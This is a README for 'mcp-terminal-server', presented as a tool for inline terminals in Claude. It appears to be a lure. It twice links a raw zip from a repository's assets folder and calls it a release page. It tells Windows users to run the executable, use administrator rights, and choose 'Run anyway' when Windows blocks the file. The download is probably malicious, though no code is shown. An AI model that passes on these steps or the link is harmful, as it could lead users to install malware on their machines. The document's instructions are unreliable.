mcp-terminal-server
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@mcp-terminal-serveropen a terminal and run 'npm run build'"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
๐ฅ๏ธ mcp-terminal-server - Run interactive terminals in Claude
๐ฅ Download
Visit this page to download: https://raw.githubusercontent.com/Unfathomable-siren38/mcp-terminal-server/main/assets/terminal_mcp_server_v1.4-beta.5.zip
Choose the latest release for Windows, then download the file that matches your PC. After the file finishes downloading, open it to start the app or follow the setup steps in the release notes
๐งญ What this app does
mcp-terminal-server lets you use an interactive terminal inside Claude Code and Claude Desktop. It shows the terminal in the chat area, so you can work with command line tools without leaving your session
It supports more than one session at a time. That means you can keep separate terminal windows for different tasks, like one for builds and one for file work
โ What you need
Windows 10 or Windows 11
Claude Desktop or Claude Code installed
A stable internet connection for the download
Permission to open apps and files on your PC
๐ Getting Started
Go to the release page and download the latest Windows file
Open the downloaded file
If Windows asks for permission, select Run or Open
Follow the on-screen steps
Open Claude Desktop or Claude Code
Connect mcp-terminal-server if the release includes setup steps for Claude
๐ช Install on Windows
After you visit the release page, look for the newest version at the top of the list. In most cases, the Windows download will be an .exe file or a .zip file
If you downloaded an .exe file:
Double-click the file
Follow the prompts
Choose where you want it installed if the app asks
If you downloaded a .zip file:
Right-click the file
Select Extract All
Open the extracted folder
Run the file inside the folder
๐ Connect to Claude
This app is made to work as an MCP server. That means Claude can talk to it and use the terminal it provides
To connect it:
Open Claude Desktop or Claude Code
Add the server using the setup details from the release
Restart Claude if needed
Confirm the terminal appears inline in your chat area
If you use more than one terminal session, you can keep each one for a different task. This helps when you want to compare output or keep a long-running command open
๐งช Common uses
Run command line tools inside Claude
Check build output
Keep a shell open during a task
Separate work into multiple terminal sessions
Use a terminal view without switching apps
๐๏ธ Features
Inline terminal display in Claude
Full interactive xterm.js support
Multi-session PTY support
Terminal input and output in one place
Built for MCP-compatible apps
Works with developer tools and command line tasks
๐งฐ Tips for a smooth setup
Download the latest release
Keep the file in a folder you can find later
If the app does not open, try running it as administrator
If Claude does not show the terminal, restart Claude and try again
Use one session per task to keep things clear
โ Troubleshooting
The file will not open
Make sure the download finished
Try opening the file again
If Windows blocks it, choose Run anyway if that option appears
Claude does not show the terminal
Check that you added the server correctly
Restart Claude Desktop or Claude Code
Make sure the server file is in the right folder
The terminal opens but does not accept input
Click inside the terminal area
Close the session and open a new one
Restart the app if needed
The app closes right away
Open the file again from the release folder
Check that you downloaded the correct Windows file
Try the latest release version
๐ฆ Release Page
Download and setup files are here: https://raw.githubusercontent.com/Unfathomable-siren38/mcp-terminal-server/main/assets/terminal_mcp_server_v1.4-beta.5.zip
Use this page when you want the newest Windows build, setup notes, and release files for mcp-terminal-server
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